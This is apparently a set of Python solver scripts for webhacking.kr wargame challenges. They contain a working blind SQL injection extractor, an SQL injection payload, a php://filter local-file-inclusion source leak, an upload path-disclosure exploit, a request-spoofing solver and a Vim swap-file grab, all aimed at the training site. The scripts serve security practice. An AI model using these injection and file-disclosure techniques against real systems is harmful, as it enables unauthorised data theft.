Hello Navi

import os
import string
import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-31/rank.php"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
COLUMN = "p4ssw0rd_1123581321"
TRUE_MARKER = "Piterpan"
MAX_LENGTH = 64

# LIKE 的十六进制前缀不需要引号；% 不放入候选集，避免它成为 LIKE 通配符。
CHARACTERS = (
    string.ascii_letters
    + string.digits
    + "!\\\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
)

def make_session():
    session = requests.Session()
    session.headers.update({"User-Agent": "old-55-writeup/1.0"})
    if SESSION_ID:
        session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
    return session

def query(session, expression):
    response = session.get(
        ENDPOINT,
        params={"score": expression},
        timeout=20,
    )
    response.raise_for_status()
    return response.text

def oracle(session, condition):
    # score=1 is the row identified by TRUE_MARKER; score=2 is the false row.
    expression = f"1 and if({condition},1,2)"
    return TRUE_MARKER in query(session, expression)

def discover_length(session):
    for length in range(1, MAX_LENGTH + 1):
        if oracle(session, f"length({COLUMN})={length}"):
            return length
    raise RuntimeError("flag length was not found")

def recover_flag(session, length):
    flag = ""
    for position in range(1, length + 1):
        for character in CHARACTERS:
            candidate = flag + character
            hex_prefix = candidate.encode("ascii").hex()
            condition = f"left({COLUMN},{position}) like 0x{hex_prefix}"
            if oracle(session, condition):
                flag = candidate
                print(flag)
                break
        else:
            raise RuntimeError(f"no character matched at position {position}")
    return flag

def main():
    session = make_session()
    length = discover_length(session)
    print(f"length={length}")
    flag = recover_flag(session, length)
    print(f"flag={flag}")

if __name__ == "__main__":
    main()

from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

def upload(session: requests.Session, challenge_url: str, filename: str) -> str:
    data = b"webhacking-old-41\n"
    files = {"file": (filename, data, "application/octet-stream")}
    response = session.post(challenge_url, files=files, timeout=20)
    response.raise_for_status()

    # The challenge returns a path containing the upload directory. Keep the
    # extraction conservative and fail instead of guessing a path.
    match = re.search(r"(?:/challenge/web-19/)?([0-9a-f]{40})/" + re.escape(filename), response.text)
    if not match:
        raise RuntimeError("upload directory was not found in the response")
    return urljoin(challenge_url, match.group(0))

def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="https://webhacking.kr/challenge/web-19/")
    parser.add_argument("--filename", default="123")
    parser.add_argument("--cookie", help="optional session cookie; do not put it in the article")
    args = parser.parse_args()

    session = requests.Session()
    if args.cookie:
        session.cookies.set("session-cookie", args.cookie, domain="webhacking.kr", path="/")

    uploaded_url = upload(session, args.url, args.filename)
    response = session.get(uploaded_url, timeout=20)
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()

from urllib.parse import urlencode
from urllib.request import Request

BASE_URL = "https://webhacking.kr/challenge/web-32/"
payload = "0)\tor\tno\tlike\t2\t--\t"
request_url = BASE_URL + "?" + urlencode({"no": payload})
request = Request(request_url, method="GET")

print(request.full_url)

#!/usr/bin/env python3
import base64
import re

import requests

URL = "http://webhacking.kr:10017/"
FILTER_PATH = "php://filter/convert.base64-encode/resource=flag"

def decode_source(response_text: str) -> str:
    candidates = re.findall(r"[A-Za-z0-9+/]{20,}={0,2}", response_text)
    for token in candidates:
        padded = token + "=" * (-len(token) % 4)
        try:
            decoded = base64.b64decode(padded, validate=True).decode(
                "utf-8", errors="replace"
            )
        except (ValueError, UnicodeError):
            continue
        if "$flag" in decoded or "FLAG{" in decoded:
            return decoded
    raise RuntimeError("response did not contain decodable flag source")

def main() -> None:
    response = requests.get(
        URL,
        params={"file": FILTER_PATH},
        timeout=20,
    )
    response.raise_for_status()
    print(decode_source(response.text))

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import hashlib
import os
import time

import requests

BASE_URL = "https://webhacking.kr/challenge/bonus-6/"
ANSWER_PATH = "answerip/27287674755_5457534951.php"

def require_next(response: requests.Response, stage: str) -> None:
    """Stop when a stage does not expose the next-stage response."""
    response.raise_for_status()
    if "Next" not in response.text:
        raise RuntimeError(f"stage {stage} did not return Next")
    print(f"stage {stage}: {response.status_code} {len(response.content)} bytes")

def md5_text(value: str) -> str:
    return hashlib.md5(value.encode("utf-8")).hexdigest()

def main() -> None:
    client_ip = os.environ.get("CLIENT_IP")
    if not client_ip:
        raise SystemExit("set CLIENT_IP to the address shown by the challenge")

    session = requests.Session()
    user_agent = session.headers["User-Agent"]

    require_next(session.get(BASE_URL, params={"get": "hehe"}, timeout=20), "33-1")
    require_next(
        session.post(
            BASE_URL,
            data={"post": "hehe", "post2": "hehe2"},
            timeout=20,
        ),
        "33-2",
    )
    require_next(session.get(BASE_URL, params={"myip": client_ip}, timeout=20), "33-3")

    current_second = str(int(time.time()))
    require_next(
        session.get(
            BASE_URL,
            params={"password": md5_text(current_second)},
            timeout=20,
        ),
        "33-4",
    )

    session.cookies.set("imcookie", "1", domain="webhacking.kr", path="/")
    require_next(session.get(BASE_URL, params={"imget": "1"}, timeout=20), "33-5-get")
    require_next(session.post(BASE_URL, data={"impost": "1"}, timeout=20), "33-5-post")

    session.cookies.set("test", md5_text(client_ip), domain="webhacking.kr", path="/")
    require_next(
        session.post(
            BASE_URL,
            data={"kk": md5_text(user_agent)},
            timeout=20,
        ),
        "33-6",
    )

    ip_without_dots = client_ip.replace(".", "")
    require_next(
        session.get(
            BASE_URL,
            params={ip_without_dots: ip_without_dots},
            timeout=20,
        ),
        "33-7",
    )
    require_next(session.get(BASE_URL, params={"addr": "127.0.0.1"}, timeout=20), "33-8")
    require_next(
        session.get(BASE_URL, params={"ans": "acegikmoqsuwy"}, timeout=20),
        "33-9",
    )

    answer_url = BASE_URL + ANSWER_PATH
    response = session.get(answer_url, timeout=20)
    response.raise_for_status()
    print(response.text)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
import re

import requests

URL = "https://webhacking.kr/challenge/bonus-8/.index.php.swp"
FLAG_PATTERN = re.compile(rb"FLAG\{[^}\r\n]+\}")

def main() -> None:
    response = requests.get(URL, timeout=20)
    response.raise_for_status()
    matches = FLAG_PATTERN.findall(response.content)
    if not matches:
        raise RuntimeError("no flag-shaped text found in the Vim swap response")
    for value in matches:
        print(value.decode("ascii"))

if __name__ == "__main__":
    main()